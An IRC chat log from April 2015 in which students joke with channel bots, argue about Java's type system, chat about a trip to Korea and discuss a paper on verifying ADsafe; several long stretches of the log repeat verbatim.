[2015-04-06T18:52:39-0400] <kenzierocks> @whois kenzierocks 
[2015-04-06T18:52:40-0400] <+awebot> kenzierocks: kenzierocks is not a spy
[2015-04-06T18:52:43-0400] <JacobEdelman> I was biking and enjoying the amazing sites in suburban new jersey
[2015-04-06T18:52:43-0400] <kenzierocks> good
[2015-04-06T18:52:49-0400] <jwoglom> @iam iron man
[2015-04-06T18:52:49-0400] <+awebot> jwoglom: Got it!
[2015-04-06T18:53:01-0400] <kenzierocks> @whois jwoglom 
[2015-04-06T18:53:01-0400] <+awebot> kenzierocks: jwoglom is iron man
[2015-04-06T18:53:15-0400] <jwoglom> well that was simple
[2015-04-06T18:53:17-0400] <fwilson> @iam really liking colors
[2015-04-06T18:53:17-0400] <+awebot> fwilson: Got it!
[2015-04-06T18:53:18-0400] <jwoglom> now where's my money
[2015-04-06T18:53:19-0400] <JacobEdelman> alokpathy: have you had the competition yet?
[2015-04-06T18:53:26-0400] <jwoglom> @whois fwilson 
[2015-04-06T18:53:26-0400] <+awebot> jwoglom: fwilson is really liking colors
[2015-04-06T18:53:33-0400] <jwoglom> indeed
[2015-04-06T18:54:26-0400] <alokpathy> JacobEdelman: Nop. It's today.
[2015-04-06T18:54:39-0400] <kenzierocks> in +-800hrs
[2015-04-06T18:57:16-0400] <JacobEdelman> alokpathy: okay
[2015-04-06T18:57:20-0400] <JacobEdelman> alokpathy: how's korea
[2015-04-06T18:57:24-0400] <JacobEdelman> tell me everything
[2015-04-06T18:59:50-0400] <fwilson> memebot9000: tellmeabout your mom
[2015-04-06T18:59:50-0400] <memebot9000> That command takes 1 arguments.
[2015-04-06T18:59:53-0400] <fwilson> memebot9000: tellmeabout yourmom
[2015-04-06T18:59:53-0400] <memebot9000> I don't know anything about yourmom.
[2015-04-06T19:02:23-0400] <sdamashek> liar
[2015-04-06T19:02:26-0400] <fwilson> memebot9000: tellmeabout sdamashek 
[2015-04-06T19:02:26-0400] <memebot9000> sdamashek shares 1 channels with me (#pdgn), is connected from pdgn-qv8.rla.1jgje7.IP, and has an ident of sdamashek.
[2015-04-06T19:02:45-0400] <sdamashek> dank memebot9000
[2015-04-06T19:04:32-0400] <+awe> [18:53:26]  <+awebot>	jwoglom: fwilson is really liking colors
[2015-04-06T19:04:38-0400] <+awe> fwilson: I am surprised this worked.
[2015-04-06T19:05:05-0400] <fwilson> awe: yes
[2015-04-06T19:05:27-0400] <fwilson> memebot9000: tellmeabout awe
[2015-04-06T19:05:27-0400] <memebot9000> awe shares 1 channels with me (#pdgn), is connected from admin.pdgn.co, and has an ident of awe.
[2015-04-06T19:07:04-0400] <kenzierocks> render plz
[2015-04-06T19:07:08-0400] <kenzierocks> https://www.dropbox.com/s/ffr123teb9a2crk/Screenshot%202015-04-07%2008.06.51.png?dl=0
[2015-04-06T19:07:56-0400] <JacobEdelman> so... kenzierocks you new here?
[2015-04-06T19:08:20-0400] <kenzierocks> sorta
[2015-04-06T19:08:50-0400] <alokpathy> JacobEdelman: It's very Korean.
[2015-04-06T19:09:30-0400] <JacobEdelman> kenzierocks: how'd you find out about pdgn?
[2015-04-06T19:09:34-0400] <JacobEdelman> alokpathy: ....
[2015-04-06T19:09:38-0400] <JacobEdelman> alokpathy: how is the food?
[2015-04-06T19:09:54-0400] <kenzierocks> JacobEdelman: Tamini, via #codegate
[2015-04-06T19:10:05-0400] <JacobEdelman> oooh
[2015-04-06T19:10:07-0400] <JacobEdelman> well
[2015-04-06T19:10:17-0400] <JacobEdelman> whenever people join I tend to interro-interview them
[2015-04-06T19:10:22-0400] <JacobEdelman> there are 2 questions
[2015-04-06T19:10:40-0400] <JacobEdelman> question 1: what particular areas of cs/math/life are you interested in?
[2015-04-06T19:11:14-0400] <fwilson> question 2: what dank memes have you create?
[2015-04-06T19:11:15-0400] <fwilson> i mean
[2015-04-06T19:11:18-0400] <fwilson> hi
[2015-04-06T19:11:20-0400] <fwilson> welcome to pdgnco, kenzierocks 
[2015-04-06T19:11:21-0400] <alokpathy> JacobEdelman: Very Korean.
[2015-04-06T19:11:29-0400] <JacobEdelman> alokpathy: .... how is the wifi?
[2015-04-06T19:11:32-0400] <kenzierocks> i do coding!
[2015-04-06T19:11:33-0400] <kenzierocks> lots of it
[2015-04-06T19:11:39-0400] <alokpathy> JacobEdelman: Very Korean.
[2015-04-06T19:11:42-0400] <kenzierocks> lol
[2015-04-06T19:11:42-0400] <sdamashek> the Wi-Fi is dank
[2015-04-06T19:11:45-0400] <JacobEdelman> kenzierocks: github by chance?
[2015-04-06T19:11:53-0400] <sdamashek> ultra dank
[2015-04-06T19:11:56-0400] <kenzierocks> https://github.com/kenzierocks
[2015-04-06T19:11:59-0400] <JacobEdelman> alokpathy: how are the people?
[2015-04-06T19:12:11-0400] <alokpathy> JacobEdelman: Very Korean.
[2015-04-06T19:12:33-0400] <jwoglom> how are the memes?
[2015-04-06T19:12:50-0400] <JacobEdelman> kenzierocks: wow
[2015-04-06T19:12:53-0400] <fwilson> not bad
[2015-04-06T19:13:05-0400] <JacobEdelman> 2nd question: describe yourself in 6 words
[2015-04-06T19:13:20-0400] <kenzierocks> exactly 6?
[2015-04-06T19:13:22-0400] <jwoglom> how about a haiku
[2015-04-06T19:13:49-0400] <JacobEdelman> kenzierocks: yes
[2015-04-06T19:13:49-0400] <fwilson> kenzierocks: my six words were
[2015-04-06T19:13:54-0400] <JacobEdelman> jwoglom: you had your chance
[2015-04-06T19:13:57-0400] <fwilson> i don't really like arbitrary restrictions
[2015-04-06T19:14:14-0400] <jwoglom> *, m8
[2015-04-06T19:14:47-0400] <kenzierocks> humpf
[2015-04-06T19:14:58-0400] <kenzierocks> let's see...
[2015-04-06T19:16:30-0400] <kenzierocks> hasAttributes('brony', 'coder', 'student') == True
[2015-04-06T19:16:34-0400] <kenzierocks> there we go :D
[2015-04-06T19:17:02-0400] <fwilson> argumenterror: hasattributes expects one positional argument, received three
[2015-04-06T19:17:06-0400] <fwilson> >== True
[2015-04-06T19:17:08-0400] <fwilson> please
[2015-04-06T19:17:10-0400] <fwilson> but ok
[2015-04-06T19:17:12-0400] <fwilson> close enough
[2015-04-06T19:17:18-0400] <kenzierocks> here, let me rewrite
[2015-04-06T19:17:38-0400] <kenzierocks> assert hasAttributes(['brony', 'coder', 'student'])
[2015-04-06T19:17:40-0400] <kenzierocks> better?
[2015-04-06T19:18:30-0400] <jwoglom> kenzierocks: where are you from?
[2015-04-06T19:18:40-0400] <kenzierocks> santa barbara, CA
[2015-04-06T19:18:51-0400] <kenzierocks> same as nezorg 
[2015-04-06T19:19:00-0400] <jwoglom> ah
[2015-04-06T19:20:19-0400] <JacobEdelman> kenzierocks: I approve
[2015-04-06T19:20:27-0400] <JacobEdelman> kenzierocks may stay
[2015-04-06T19:20:41-0400] <JacobEdelman> I was looking through the logs and found my six words
[2015-04-06T19:20:44-0400] <JacobEdelman> "uhhhhh.... wait, what just happened here?"
[2015-04-06T19:21:59-0400] <kenzierocks> k
[2015-04-06T19:22:09-0400] <JacobEdelman> oh wait
[2015-04-06T19:22:14-0400] • kenzierocks: goes back to python
[2015-04-06T19:22:15-0400] <JacobEdelman> I went back farther in the logs
[2015-04-06T19:22:22-0400] <JacobEdelman> and found my real six words
[2015-04-06T19:22:24-0400] <JacobEdelman> "AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH!"
[2015-04-06T19:22:24-0400] <+awe> kenzierocks: gross
[2015-04-06T19:22:30-0400] • awe: vomits in his mouth a little.
[2015-04-06T19:22:30-0400] <JacobEdelman> kenzierocks: awe-some
[2015-04-06T19:22:44-0400] <kenzierocks> what's awe's preferred lang
[2015-04-06T19:22:45-0400] • JacobEdelman: does the exact opposite of what awe does
[2015-04-06T19:23:05-0400] <+awe> kenzierocks: I will accept any language that has a strong type system. I mainly write Rust.
[2015-04-06T19:23:18-0400] <kenzierocks> i also write java?
[2015-04-06T19:23:23-0400] <kenzierocks> it's got typing
[2015-04-06T19:23:24-0400] <JacobEdelman> kenzierocks: I will accept any language that annoys awe. I prefer lark.
[2015-04-06T19:23:26-0400] <+awe> That's not a strong type system.
[2015-04-06T19:23:29-0400] <kenzierocks> meh
[2015-04-06T19:23:30-0400] <JacobEdelman> kenzierocks: java is bad
[2015-04-06T19:23:32-0400] <JacobEdelman> so bad
[2015-04-06T19:23:34-0400] <JacobEdelman> sooooo bad
[2015-04-06T19:23:34-0400] <+awe> It's a type system, but it's a weak one.
[2015-04-06T19:23:39-0400] <kenzierocks> reasons plz?
[2015-04-06T19:23:44-0400] <kenzierocks> it works when i use it
[2015-04-06T19:23:50-0400] <JacobEdelman> java has all the boiler of a type system
[2015-04-06T19:23:55-0400] <JacobEdelman> without any of the advantages
[2015-04-06T19:23:55-0400] <+awe> Everything is nullable.
[2015-04-06T19:24:00-0400] <JacobEdelman> ^
[2015-04-06T19:24:13-0400] <kenzierocks> sort of a leftover from the 90s
[2015-04-06T19:24:15-0400] <+awe> You can arbitrarily cast when casting doesn't make sense.
[2015-04-06T19:24:20-0400] <kenzierocks> we've got Optionals
[2015-04-06T19:24:25-0400] <+awe> I'm aware.
[2015-04-06T19:24:30-0400] <+awe> That's also less than a year old.
[2015-04-06T19:24:34-0400] <+awe> And also Optionals can be null too.
[2015-04-06T19:24:35-0400] <kenzierocks> the random casts are really useful
[2015-04-06T19:24:56-0400] <kenzierocks> for certain modding projects
[2015-04-06T19:24:58-0400] <JacobEdelman> java bad
[2015-04-06T19:25:05-0400] • kenzierocks: sighs
[2015-04-06T19:25:08-0400] <+awe> Arbitrary casting and nullable everything means your type system doesn't actually help verify much.
[2015-04-06T19:25:08-0400] <JacobEdelman> its one of the few things awe and I agree on
[2015-04-06T19:25:11-0400] <kenzierocks> and not arguing this again
[2015-04-06T19:25:18-0400] <+awe> I don't think Java is bad.
[2015-04-06T19:25:22-0400] <fwilson> java is bad, awe
[2015-04-06T19:25:22-0400] <+awe> I just think it's type system is weak.
[2015-04-06T19:25:24-0400] <JacobEdelman> I take that back
[2015-04-06T19:25:35-0400] <fwilson> memebot9000: tellmeabout java
[2015-04-06T19:25:35-0400] <memebot9000> I don't know anything about java.
[2015-04-06T19:25:36-0400] <JacobEdelman> awe and me agree on only one thing I guess
[2015-04-06T19:25:37-0400] <fwilson> uh
[2015-04-06T19:25:39-0400] <fwilson> uhhhh
[2015-04-06T19:25:49-0400] <+awe> It's not particularly good, but it's really not bad relative to the other popular languages.
[2015-04-06T19:25:55-0400] <fwilson> it's really b ad
[2015-04-06T19:25:58-0400] <+awe> At the very least, it's memory safe. It's pretty fast.
[2015-04-06T19:26:04-0400] <fwilson> not to develop
[2015-04-06T19:26:05-0400] <JacobEdelman> fwilson: yeah!
[2015-04-06T19:26:08-0400] <+awe> It's pretty easy to learn.
[2015-04-06T19:26:10-0400] <JacobEdelman> more people who hate java!
[2015-04-06T19:26:14-0400] <sdamashek> memebot9000: tellmeabout anything
[2015-04-06T19:26:14-0400] <memebot9000> I don't know anything about anything.
[2015-04-06T19:26:18-0400] <bob_twinkles> you just need the right tools
[2015-04-06T19:26:24-0400] <+awe> Indeed. IntelliJ helps a lot.
[2015-04-06T19:26:26-0400] <kenzierocks> gradle is a godsend
[2015-04-06T19:26:26-0400] <fwilson> JacobEdelman: :D
[2015-04-06T19:26:30-0400] <fwilson> awe: it's not easy to learn
[2015-04-06T19:26:35-0400] <kenzierocks> why doesn't anything else have gradle
[2015-04-06T19:26:36-0400] <fwilson> checked exceptions?
[2015-04-06T19:26:38-0400] <fwilson> aggregate operations?
[2015-04-06T19:26:44-0400] <fwilson> generics?
[2015-04-06T19:26:45-0400] <+awe> I learned Java enough to write a robot in the course of a week.
[2015-04-06T19:26:48-0400] <fwilson> all very confusing to a beginner
[2015-04-06T19:26:50-0400] <fwilson> >a week
[2015-04-06T19:26:55-0400] <fwilson> i learned ruby in an hour
[2015-04-06T19:26:57-0400] <JacobEdelman> oh awe
[2015-04-06T19:27:05-0400] <fwilson> enough to write web apps in another three
[2015-04-06T19:27:05-0400] <kenzierocks> hint: hide generics from starters
[2015-04-06T19:27:07-0400] <JacobEdelman> apparentely the robotics team has been failing since you left
[2015-04-06T19:27:10-0400] <JacobEdelman> so no surprise
[2015-04-06T19:27:22-0400] <JacobEdelman> I've been told all the other people did was comment your code
[2015-04-06T19:27:24-0400] <+awe> I probably spent like four hours or so over that week.
[2015-04-06T19:27:32-0400] • kenzierocks: leaves for breakfast
[2015-04-06T19:27:33-0400] <+awe> JacobEdelman: Yeah, I had them add javadoc comments.
[2015-04-06T19:27:35-0400] <fwilson> but could your robot run crysis
[2015-04-06T19:27:40-0400] <+awe> No?
[2015-04-06T19:27:49-0400] <fwilson> oh
[2015-04-06T19:28:06-0400] <+awe> Seriously, Java isn't really that bad.
[2015-04-06T19:28:06-0400] <JacobEdelman> weird korean people
[2015-04-06T19:28:11-0400] <fwilson> s/n't//
[2015-04-06T19:28:12-0400] <JacobEdelman> leaving for breakfast now
[2015-04-06T19:28:13-0400] <JacobEdelman> weird
[2015-04-06T19:28:17-0400] <JacobEdelman> well, leaving for dinner
[2015-04-06T19:28:38-0400] <fwilson> bye JacobEdelman lol
[2015-04-06T19:28:43-0400] <+awe> The type system is almost as bad as the trash that most of you use, but the language isn't that bad.
[2015-04-06T19:28:51-0400] <fwilson> i don't use a type system
[2015-04-06T19:28:52-0400] <sdamashek> I'm eating breakfast now
[2015-04-06T19:28:58-0400] <fwilson> well i use it
[2015-04-06T19:29:00-0400] <fwilson> but i ignore it
[2015-04-06T19:29:02-0400] <fwilson> sdamashek: lol 8:30
[2015-04-06T19:29:47-0400] <fwilson> sdamashek: my dad wants to know what hotel you (were|are) staying at
[2015-04-06T19:30:31-0400] <jwoglom> EST ayy
[2015-04-06T19:30:40-0400] <jwoglom> or are we EDT this time of year, i don't even know
[2015-04-06T19:30:54-0400] <fwilson> who knows
[2015-04-06T19:31:00-0400] <jwoglom> freaking daylight savings
[2015-04-06T19:31:40-0400] <fwilson> ikr
[2015-04-06T19:31:45-0400] <fwilson> sdamashek: there's no daylight savings in korea is there
[2015-04-06T19:33:04-0400] <jwoglom> South Korea: Observed DST in 1948-1951, 1955-1960 and 1987-1988.
[2015-04-06T19:33:16-0400] <jwoglom> so i guess no
[2015-04-06T19:33:31-0400] <fwilson> lol
[2015-04-06T19:33:42-0400] <sdamashek> fwilson: ibis seoul gangnam
[2015-04-06T19:33:49-0400] <sdamashek> and I don't think so
[2015-04-06T19:34:00-0400] <fwilson> woah, the picture looks nice
[2015-04-06T19:34:48-0400] <sdamashek> it's a nice hotel
[2015-04-06T19:34:51-0400] <jwoglom> looks pretty fancy
[2015-04-06T19:34:56-0400] <jwoglom> http://www.accorhotels.com/photos/3730_ho_03_p_1024x768.jpg
[2015-04-06T19:34:57-0400] <jwoglom> >le cafe
[2015-04-06T19:35:00-0400] <sdamashek> the rooms are small tough
[2015-04-06T19:35:05-0400] <sdamashek> though*
[2015-04-06T19:35:08-0400] <sdamashek> jwoglom: ikr
[2015-04-06T19:35:15-0400] <sdamashek> everything has "me"
[2015-04-06T19:35:24-0400] <sdamashek> le*
[2015-04-06T19:35:31-0400] <sdamashek> autocorrect pls
[2015-04-06T19:35:55-0400] <fwilson> sdamashek: except for la table
[2015-04-06T19:36:00-0400] <fwilson> wait
[2015-04-06T19:36:03-0400] <fwilson> it still has le
[2015-04-06T19:36:05-0400] <fwilson> ;_;
[2015-04-06T19:36:11-0400] <sdamashek> lol
[2015-04-06T19:36:15-0400] <jwoglom> lol
[2015-04-06T19:36:44-0400] <fwilson> tab[le]
[2015-04-06T19:38:58-0400] <sdamashek> also the room cards are nfc
[2015-04-06T19:39:13-0400] <jwoglom> that's pretty cool
[2015-04-06T19:39:55-0400] <ubuntor> There's also a card holder near the door that turns on the lights
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[2015-04-06T19:50:10-0400] <failedxyz> hi
[2015-04-06T20:02:03-0400] <fwilson> hi
[2015-04-06T20:02:07-0400] <fwilson> memebot9000 is gon
[2015-04-06T20:02:09-0400] <fwilson> esorry
[2015-04-06T20:03:42-0400] <LittleBobbyTables> Jet Fuel can't melt dank memes
[2015-04-06T20:04:06-0400] <fwilson> 8steel memes
[2015-04-06T20:06:39-0400] <LittleBobbyTables> steal beams can't melt dank fuel
[2015-04-06T20:22:31-0400] <sdamashek> dank fuel can't melt real memes
[2015-04-06T20:26:19-0400] <alokpathy> wat
[2015-04-06T20:26:48-0400] <LittleBobbyTables> ?
[2015-04-06T20:29:01-0400] <sdamashek> https://www.youtube.com/watch?t=19&v=6gkiuVz-Ryo
[2015-04-06T20:30:39-0400] <jwoglom> https://iodine.tjhsst.edu/?&customtheme=login-afd15
[2015-04-06T20:30:51-0400] <jwoglom> may as well get the full experience
[2015-04-06T20:36:49-0400] <+awe> JacobEdelman: http://people.cs.umass.edu/~arjun/papers/politz-jcs2014.pdf
[2015-04-06T20:38:21-0400] <LittleBobbyTables> "Education ‐ This network is a place of learning, and aims to encourage it when possible." lolk
[2015-04-06T20:42:37-0400] <+awe> LittleBobbyTables: why do you think not?
[2015-04-06T20:43:07-0400] <LittleBobbyTables> I don't think we try to encourage it
[2015-04-06T20:52:36-0400] <JacobEdelman> I actively discouraging people from learning
[2015-04-06T20:52:44-0400] <JacobEdelman> misinformation is my middle name
[2015-04-06T20:53:14-0400] <JacobEdelman> awe: that paper is very cool
[2015-04-06T20:53:21-0400] <JacobEdelman> awe: but a bit to practical
[2015-04-06T21:09:08-0400] <JacobEdelman> south dakota: if you close your eyes you can pretend its north dakota
[2015-04-06T21:09:13-0400] <hardmath123> "Bug Bounty When ADsafe was first announced,17 its author offered a bounty: If [a malicious client] produces no errors when linted with the ADsafe
[2015-04-06T21:09:15-0400] <hardmath123> option, then I will buy you a plate of shrimp.
[2015-04-06T21:09:17-0400] <hardmath123> At the end of this work, the author of ADsafe bought the first two authors all seven shrimp dishes available at a restaurant. (The third author is vegetarian, illustrating the dangers of poorly-designed incentive systems.)
[2015-04-06T21:09:19-0400] <hardmath123> "
[2015-04-06T21:09:24-0400] <hardmath123> awe: I like this paper.
[2015-04-06T21:09:42-0400] <JacobEdelman> lol
[2015-04-06T21:09:58-0400] <JacobEdelman> I clearly need to read the whole thing
[2015-04-06T21:10:00-0400] <JacobEdelman> now lol
[2015-04-06T21:10:04-0400] <JacobEdelman> *gtg
[2015-04-06T21:10:11-0400] <JacobEdelman> gtg, lol, same thing
[2015-04-06T21:14:13-0400] <alokpathy> hardmath123: Ay you're back :D
[2015-04-06T21:14:17-0400] <fwilson> *ayy
[2015-04-06T21:14:35-0400] <alokpathy> fwilson: Fine :P
[2015-04-06T21:25:34-0400] <sdamashek> *lmao
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[2015-04-06T22:49:43-0400] <+awe> hardmath123: That's the professor I'm working with. :)
[2015-04-06T22:50:39-0400] <hardmath123> you're in good hands then
[2015-04-06T22:51:27-0400] <+awe> I have the choice of working on that, a programming language for packet data processing, or a tool to formally verify that Puppet scripts have a stable final state.
[2015-04-06T22:51:32-0400] <+awe> I'm probably going to do the last one.
[2015-04-06T22:55:45-0400] <hardmath123> I would have picked the JS stuff.
[2015-04-06T22:57:31-0400] <LittleBobbyTables> You should learn Chef.
[2015-04-06T23:04:20-0400] <+awe> hardmath123: The JS stuff is interesting, but it's fundamentally similar to the Puppet stuff, and the Puppet stuff is kind of just starting.
[2015-04-06T23:04:48-0400] <+awe> hardmath123: So, I'd rather get in on the first paper for this Puppet project and maybe continue next summer and get another paper out of it than jump on toward the end of a project.
[2015-04-06T23:05:09-0400] <+awe> hardmath123: The part of the JS stuff that would interest me most is the design of Lambda JS and that's already mostly done.
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[2015-04-06T19:36:15-0400] <jwoglom> lol
[2015-04-06T19:36:44-0400] <fwilson> tab[le]
[2015-04-06T19:38:58-0400] <sdamashek> also the room cards are nfc
[2015-04-06T19:39:13-0400] <jwoglom> that's pretty cool
[2015-04-06T19:39:55-0400] <ubuntor> There's also a card holder near the door that turns on the lights
[2015-04-06T19:50:10-0400] <failedxyz> hi
[2015-04-06T20:02:03-0400] <fwilson> hi
[2015-04-06T20:02:07-0400] <fwilson> memebot9000 is gon
[2015-04-06T20:02:09-0400] <fwilson> esorry
[2015-04-06T20:03:42-0400] <LittleBobbyTables> Jet Fuel can't melt dank memes
[2015-04-06T20:04:06-0400] <fwilson> 8steel memes
[2015-04-06T20:06:39-0400] <LittleBobbyTables> steal beams can't melt dank fuel
[2015-04-06T20:22:31-0400] <sdamashek> dank fuel can't melt real memes
[2015-04-06T20:26:19-0400] <alokpathy> wat
[2015-04-06T20:26:48-0400] <LittleBobbyTables> ?
[2015-04-06T20:29:01-0400] <sdamashek> https://www.youtube.com/watch?t=19&v=6gkiuVz-Ryo
[2015-04-06T20:30:39-0400] <jwoglom> https://iodine.tjhsst.edu/?&customtheme=login-afd15
[2015-04-06T20:30:51-0400] <jwoglom> may as well get the full experience
[2015-04-06T20:36:49-0400] <+awe> JacobEdelman: http://people.cs.umass.edu/~arjun/papers/politz-jcs2014.pdf
[2015-04-06T20:38:21-0400] <LittleBobbyTables> "Education ‐ This network is a place of learning, and aims to encourage it when possible." lolk
[2015-04-06T20:42:37-0400] <+awe> LittleBobbyTables: why do you think not?
[2015-04-06T20:43:07-0400] <LittleBobbyTables> I don't think we try to encourage it
[2015-04-06T20:52:36-0400] <JacobEdelman> I actively discouraging people from learning
[2015-04-06T20:52:44-0400] <JacobEdelman> misinformation is my middle name
[2015-04-06T20:53:14-0400] <JacobEdelman> awe: that paper is very cool
[2015-04-06T20:53:21-0400] <JacobEdelman> awe: but a bit to practical
[2015-04-06T21:09:08-0400] <JacobEdelman> south dakota: if you close your eyes you can pretend its north dakota
[2015-04-06T21:09:13-0400] <hardmath123> "Bug Bounty When ADsafe was first announced,17 its author offered a bounty: If [a malicious client] produces no errors when linted with the ADsafe
[2015-04-06T21:09:15-0400] <hardmath123> option, then I will buy you a plate of shrimp.
[2015-04-06T21:09:17-0400] <hardmath123> At the end of this work, the author of ADsafe bought the first two authors all seven shrimp dishes available at a restaurant. (The third author is vegetarian, illustrating the dangers of poorly-designed incentive systems.)
[2015-04-06T21:09:19-0400] <hardmath123> "
[2015-04-06T21:09:24-0400] <hardmath123> awe: I like this paper.
[2015-04-06T21:09:42-0400] <JacobEdelman> lol
[2015-04-06T21:09:58-0400] <JacobEdelman> I clearly need to read the whole thing
[2015-04-06T21:10:00-0400] <JacobEdelman> now lol
[2015-04-06T21:10:04-0400] <JacobEdelman> *gtg
[2015-04-06T21:10:11-0400] <JacobEdelman> gtg, lol, same thing
[2015-04-06T21:14:13-0400] <alokpathy> hardmath123: Ay you're back :D
[2015-04-06T21:14:17-0400] <fwilson> *ayy
[2015-04-06T21:14:35-0400] <alokpathy> fwilson: Fine :P
[2015-04-06T21:25:34-0400] <sdamashek> *lmao
[2015-04-06T22:49:43-0400] <+awe> hardmath123: That's the professor I'm working with. :)
[2015-04-06T22:50:39-0400] <hardmath123> you're in good hands then
[2015-04-06T22:51:27-0400] <+awe> I have the choice of working on that, a programming language for packet data processing, or a tool to formally verify that Puppet scripts have a stable final state.
[2015-04-06T22:51:32-0400] <+awe> I'm probably going to do the last one.
[2015-04-06T22:55:45-0400] <hardmath123> I would have picked the JS stuff.
[2015-04-06T22:57:31-0400] <LittleBobbyTables> You should learn Chef.
[2015-04-06T23:04:20-0400] <+awe> hardmath123: The JS stuff is interesting, but it's fundamentally similar to the Puppet stuff, and the Puppet stuff is kind of just starting.
[2015-04-06T23:04:48-0400] <+awe> hardmath123: So, I'd rather get in on the first paper for this Puppet project and maybe continue next summer and get another paper out of it than jump on toward the end of a project.
[2015-04-06T23:05:09-0400] <+awe> hardmath123: The part of the JS stuff that would interest me most is the design of Lambda JS and that's already mostly done.
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[2015-04-07T00:10:11-0400] <LittleBobbyTables> Education ‐ This network is a place of learning, and aims to encourage it when possible.
[2015-04-07T00:10:13-0400] <LittleBobbyTables> oops
[2015-04-07T00:10:28-0400] <LittleBobbyTables> http://i.imgur.com/XcWM0Nq.gif
[2015-04-07T00:42:40-0400] <assface> >tfw you have fucktons of homework to do but you don't wanna
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[2015-04-06T19:39:55-0400] <ubuntor> There's also a card holder near the door that turns on the lights
[2015-04-06T19:50:10-0400] <failedxyz> hi
[2015-04-06T20:02:03-0400] <fwilson> hi
[2015-04-06T20:02:07-0400] <fwilson> memebot9000 is gon
[2015-04-06T20:02:09-0400] <fwilson> esorry
[2015-04-06T20:03:42-0400] <LittleBobbyTables> Jet Fuel can't melt dank memes
[2015-04-06T20:04:06-0400] <fwilson> 8steel memes
[2015-04-06T20:06:39-0400] <LittleBobbyTables> steal beams can't melt dank fuel
[2015-04-06T20:22:31-0400] <sdamashek> dank fuel can't melt real memes
[2015-04-06T20:26:19-0400] <alokpathy> wat
[2015-04-06T20:26:48-0400] <LittleBobbyTables> ?
[2015-04-06T20:29:01-0400] <sdamashek> https://www.youtube.com/watch?t=19&v=6gkiuVz-Ryo
[2015-04-06T20:30:39-0400] <jwoglom> https://iodine.tjhsst.edu/?&customtheme=login-afd15
[2015-04-06T20:30:51-0400] <jwoglom> may as well get the full experience
[2015-04-06T20:36:49-0400] <+awe> JacobEdelman: http://people.cs.umass.edu/~arjun/papers/politz-jcs2014.pdf
[2015-04-06T20:38:21-0400] <LittleBobbyTables> "Education ‐ This network is a place of learning, and aims to encourage it when possible." lolk
[2015-04-06T20:42:37-0400] <+awe> LittleBobbyTables: why do you think not?
[2015-04-06T20:43:07-0400] <LittleBobbyTables> I don't think we try to encourage it
[2015-04-06T20:52:36-0400] <JacobEdelman> I actively discouraging people from learning
[2015-04-06T20:52:44-0400] <JacobEdelman> misinformation is my middle name
[2015-04-06T20:53:14-0400] <JacobEdelman> awe: that paper is very cool
[2015-04-06T20:53:21-0400] <JacobEdelman> awe: but a bit to practical
[2015-04-06T21:09:08-0400] <JacobEdelman> south dakota: if you close your eyes you can pretend its north dakota
[2015-04-06T21:09:13-0400] <hardmath123> "Bug Bounty When ADsafe was first announced,17 its author offered a bounty: If [a malicious client] produces no errors when linted with the ADsafe
[2015-04-06T21:09:15-0400] <hardmath123> option, then I will buy you a plate of shrimp.
[2015-04-06T21:09:17-0400] <hardmath123> At the end of this work, the author of ADsafe bought the first two authors all seven shrimp dishes available at a restaurant. (The third author is vegetarian, illustrating the dangers of poorly-designed incentive systems.)
[2015-04-06T21:09:19-0400] <hardmath123> "
[2015-04-06T21:09:24-0400] <hardmath123> awe: I like this paper.
[2015-04-06T21:09:42-0400] <JacobEdelman> lol
[2015-04-06T21:09:58-0400] <JacobEdelman> I clearly need to read the whole thing
[2015-04-06T21:10:00-0400] <JacobEdelman> now lol
[2015-04-06T21:10:04-0400] <JacobEdelman> *gtg
[2015-04-06T21:10:11-0400] <JacobEdelman> gtg, lol, same thing
[2015-04-06T21:14:13-0400] <alokpathy> hardmath123: Ay you're back :D
[2015-04-06T21:14:17-0400] <fwilson> *ayy
[2015-04-06T21:14:35-0400] <alokpathy> fwilson: Fine :P
[2015-04-06T21:25:34-0400] <sdamashek> *lmao
[2015-04-06T22:49:43-0400] <+awe> hardmath123: That's the professor I'm working with. :)
[2015-04-06T22:50:39-0400] <hardmath123> you're in good hands then
[2015-04-06T22:51:27-0400] <+awe> I have the choice of working on that, a programming language for packet data processing, or a tool to formally verify that Puppet scripts have a stable final state.
[2015-04-06T22:51:32-0400] <+awe> I'm probably going to do the last one.
[2015-04-06T22:55:45-0400] <hardmath123> I would have picked the JS stuff.
[2015-04-06T22:57:31-0400] <LittleBobbyTables> You should learn Chef.
[2015-04-06T23:04:20-0400] <+awe> hardmath123: The JS stuff is interesting, but it's fundamentally similar to the Puppet stuff, and the Puppet stuff is kind of just starting.
[2015-04-06T23:04:48-0400] <+awe> hardmath123: So, I'd rather get in on the first paper for this Puppet project and maybe continue next summer and get another paper out of it than jump on toward the end of a project.
[2015-04-06T23:05:09-0400] <+awe> hardmath123: The part of the JS stuff that would interest me most is the design of Lambda JS and that's already mostly done.
[2015-04-07T00:10:11-0400] <LittleBobbyTables> Education ‐ This network is a place of learning, and aims to encourage it when possible.
[2015-04-07T00:10:13-0400] <LittleBobbyTables> oops
[2015-04-07T00:10:28-0400] <LittleBobbyTables> http://i.imgur.com/XcWM0Nq.gif
[2015-04-07T00:42:40-0400] <assface> >tfw you have fucktons of homework to do but you don't wanna
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[2015-04-07T09:39:35-0400] <JacobEdelman> gmorning all
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[2015-04-07T10:25:32-0400] <Hyper> JacobEdelman: g'mornin'
[2015-04-07T10:29:34-0400] <JacobEdelman> Hyper: read trig
[2015-04-07T10:29:48-0400] <JacobEdelman> https://twigserial.wordpress.com/2014/12/24/taking-root-1-1/
[2015-04-07T10:30:01-0400] <JacobEdelman> it starts off good and gets great... and then keeps getting better
[2015-04-07T10:30:05-0400] <JacobEdelman> and its only 11 chapters in
[2015-04-07T10:30:47-0400] <Hyper> JacobEdelman: huh?
[2015-04-07T10:30:55-0400] <Hyper> I took trig a long time ago, yo
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[2015-04-06T20:38:21-0400] <LittleBobbyTables> "Education ‐ This network is a place of learning, and aims to encourage it when possible." lolk
[2015-04-06T20:42:37-0400] <+awe> LittleBobbyTables: why do you think not?
[2015-04-06T20:43:07-0400] <LittleBobbyTables> I don't think we try to encourage it
[2015-04-06T20:52:36-0400] <JacobEdelman> I actively discouraging people from learning
[2015-04-06T20:52:44-0400] <JacobEdelman> misinformation is my middle name
[2015-04-06T20:53:14-0400] <JacobEdelman> awe: that paper is very cool
[2015-04-06T20:53:21-0400] <JacobEdelman> awe: but a bit to practical
[2015-04-06T21:09:08-0400] <JacobEdelman> south dakota: if you close your eyes you can pretend its north dakota
[2015-04-06T21:09:13-0400] <hardmath123> "Bug Bounty When ADsafe was first announced,17 its author offered a bounty: If [a malicious client] produces no errors when linted with the ADsafe
